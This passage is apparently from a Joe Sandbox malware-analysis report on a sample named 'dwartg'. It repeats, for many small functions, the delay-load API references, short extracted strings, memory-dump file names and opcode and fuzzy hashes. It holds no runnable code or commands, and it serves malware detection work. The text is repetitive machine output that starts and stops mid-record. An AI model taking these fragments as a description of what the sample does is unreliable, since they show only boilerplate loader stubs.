Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: fadb19a0798e1a2a1d0c866265711b12a727efa1c01f45be8b29f11ceaf9092b
Instruction ID: 7ec039377315a6bff887bd89e0eee51f34c720f76648cc5b860bde21cd1b7a3e
Opcode Fuzzy Hash: fadb19a0798e1a2a1d0c866265711b12a727efa1c01f45be8b29f11ceaf9092b
Instruction Fuzzy Hash: DBB012E2698104EC310461491D0AD77010DC0C0F11730403EFC05C00C2FC8C6E050531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E23C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 691d6bde7fff1ab09308fd7e7b0099e193ff286cf371a6fdffd8586e757bcfa3
Instruction ID: cd3a4aad8cfb1b1bde0813227e2940570cd3f0418b8e2f59414c1cef7fdc113a
Opcode Fuzzy Hash: 691d6bde7fff1ab09308fd7e7b0099e193ff286cf371a6fdffd8586e757bcfa3
Instruction Fuzzy Hash: 6FB012E2698104EC3104614A1C0AD77010DC0C0F11730403EFC05C00C2F88C6D040531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E228 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: ccd5af15ae2f0f37eefbd8ef25444280ebac705cbdfba16c113343609017020f
Instruction ID: 2ab8a50767dd8a0023e469e4a0ce641d66d9d6d4107e04cb057f720eca059030
Opcode Fuzzy Hash: ccd5af15ae2f0f37eefbd8ef25444280ebac705cbdfba16c113343609017020f
Instruction Fuzzy Hash: 28B012E2698204FC314461495C0AD77010DC0C0F11B30413EFC05C00C2F88C6D440631

Uniqueness

Uniqueness Score: -1.00%

Function 0073E21E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 6099160d36f117dc998f50eee27b37e23b3c3802737712501e5fd0574e8ffe14
Instruction ID: a8aac6331a2ceea49d4ba6c71a653f235781360813f7013d39d18684b3eab226
Opcode Fuzzy Hash: 6099160d36f117dc998f50eee27b37e23b3c3802737712501e5fd0574e8ffe14
Instruction Fuzzy Hash: 9CB012E2698104FC310461491C0AD77010DC0C1F11730803EFC05C00C2F88CAD040531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 5bf6338444eb64f95c44e5140538734aa0d36ecfe9b0250dfbd2ba4716ec0e00
Instruction ID: f102da5f107f2beb95c370f48942cf69abdc45853bd70827b87138b72a88a176
Opcode Fuzzy Hash: 5bf6338444eb64f95c44e5140538734aa0d36ecfe9b0250dfbd2ba4716ec0e00
Instruction Fuzzy Hash: F7B012D2798244FC3144624D5C0AD77010CC0C0F11730813FFC15C01C2E88C6C480631

Uniqueness

Uniqueness Score: -1.00%

Function 0073E20A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD, 0073E20A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 4d72e5dce5d629abc78cd4ec43d4bb5331eae5fb30fce5c888dc4ecb86db554b
Instruction ID: e448adc2be7529ae8117fd4f26b18f8cc9155cd5f968c8b4505dc4c06c456418
Opcode Fuzzy Hash: 4d72e5dce5d629abc78cd4ec43d4bb5331eae5fb30fce5c888dc4ecb86db554b
Instruction Fuzzy Hash: 38B012D2698104EC3104624D1D0AD77010CC0C0F11730803FFC05C01C2EC9C6D0D0531

Uniqueness

Uniqueness Score: -1.00%

Function 0073EAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073EAF9

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

3To, xrefs: 0073EAE7, 0073EAF3

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3To
API String ID: 1269201914-245939750
Opcode ID: f36fce7c504868c251e386eda2104691bfc52d4cba62cb94fe3e5de55ea26f91
Instruction ID: 56574086855cc050ac47dd8b611d7e8605b59798077466543eace658c0bfd77c
Opcode Fuzzy Hash: f36fce7c504868c251e386eda2104691bfc52d4cba62cb94fe3e5de55ea26f91
Instruction Fuzzy Hash: E1B092C629A142BC310462041E06C760109C080B91720902AB800880C2988C09060431

Uniqueness

Uniqueness Score: -1.00%

Function 0073E282 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 8eab8e04029ff0f23f820115fbe32456e2ea4f005994b13f139de0a0798df150
Instruction ID: 9c37b6cd09948e4b941c485dd5f0776bce596f680dd1c15a6aef064fdaf318e1
Opcode Fuzzy Hash: 8eab8e04029ff0f23f820115fbe32456e2ea4f005994b13f139de0a0798df150
Instruction Fuzzy Hash: 93B012E2698104EC3104A1491D0AD77018CC0C0F11B30403EFC05C00C2EC8C6D050531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E546 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519, 0073E546

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: 28a3fc4ec456206b6ec0af0f2eee56efc74914e623f164d50907bfe31efa439c
Instruction ID: 4bb749487c5ed41b4cf6c9ac71d5a0908d32c8e163562226e6035e5778c47619
Opcode Fuzzy Hash: 28a3fc4ec456206b6ec0af0f2eee56efc74914e623f164d50907bfe31efa439c
Instruction Fuzzy Hash: BEB012C1698240FC3204610C9C07D7F011DC0C1F16730523EF804C00C2E88C0D881531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E50D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: 1c224b7f8f184028c65ade817e5ba6e03d0083aea2c0e4a7ba4147fa95c66de8
Instruction ID: 7ac1c5184173db6c92327c83140cb239f57f6b6f11df69f9496ab30698e9e3cc
Opcode Fuzzy Hash: 1c224b7f8f184028c65ade817e5ba6e03d0083aea2c0e4a7ba4147fa95c66de8
Instruction Fuzzy Hash: 1DB012C1698140FC310421281C0AD7F011DC0C1F15B30503EFC10C04C3A88C0E480431

Uniqueness

Uniqueness Score: -1.00%

Function 0073E5B1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: 3cd89bb2d3a117e9db6846aae3cb861a4979d34eca39f8f710141420d672ecf4
Instruction ID: fc47bfdc9d66926e6158a2243901488ec0f965ddff179fd0717612f9164461a6
Opcode Fuzzy Hash: 3cd89bb2d3a117e9db6846aae3cb861a4979d34eca39f8f710141420d672ecf4
Instruction Fuzzy Hash: 81B012C1A98200FC314461589D0BDB7015CC0C0F16730523EF804C10C2E88C0E540631

Uniqueness

Uniqueness Score: -1.00%

Function 0073E5A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: 6437bc5e725bff520f95d8a94a2ef3b4d50cd4afb5e135c50f76ae7010641e0d
Instruction ID: f8df0129333290d6b736b76e0f00b1333c4cba1ca7d78415d3eacac73b3f21ca
Opcode Fuzzy Hash: 6437bc5e725bff520f95d8a94a2ef3b4d50cd4afb5e135c50f76ae7010641e0d
Instruction Fuzzy Hash: 11B012C1A98100FC310461985E0ADB7015CC0C0F16730523EF804C10C2EC8C0F150531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E593 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A, 0073E593

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: aec5d58d4fcf4faac53f874e2b101baefc9ae2b1578e0b997580411edc47b27a
Instruction ID: c54eef1d7d1b9be1be6719bd88ae61aa8a9e5716e5675f7bf9b9f6f0af140625
Opcode Fuzzy Hash: aec5d58d4fcf4faac53f874e2b101baefc9ae2b1578e0b997580411edc47b27a
Instruction Fuzzy Hash: 8BB012C1A98104FD310461581D0ADB7014CC0C0F15730503EF804C10C2E88C0E140532

Uniqueness

Uniqueness Score: -1.00%

Function 0073E27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 9fbf25ac2b9b5b0b499d60e8f4e2f5d0a66c47882acc1be45cba97e426716483
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 9fbf25ac2b9b5b0b499d60e8f4e2f5d0a66c47882acc1be45cba97e426716483
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E25F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 78b1d1c5a6f38b0db07ac8aa785b8a1325c4a077024dff318175c84e392efffb
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 78b1d1c5a6f38b0db07ac8aa785b8a1325c4a077024dff318175c84e392efffb
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E219 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 70a14ca12acb4df2adbeb500d60d71127bf138d9ff39a95dbbff793352fb2c8e
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 70a14ca12acb4df2adbeb500d60d71127bf138d9ff39a95dbbff793352fb2c8e
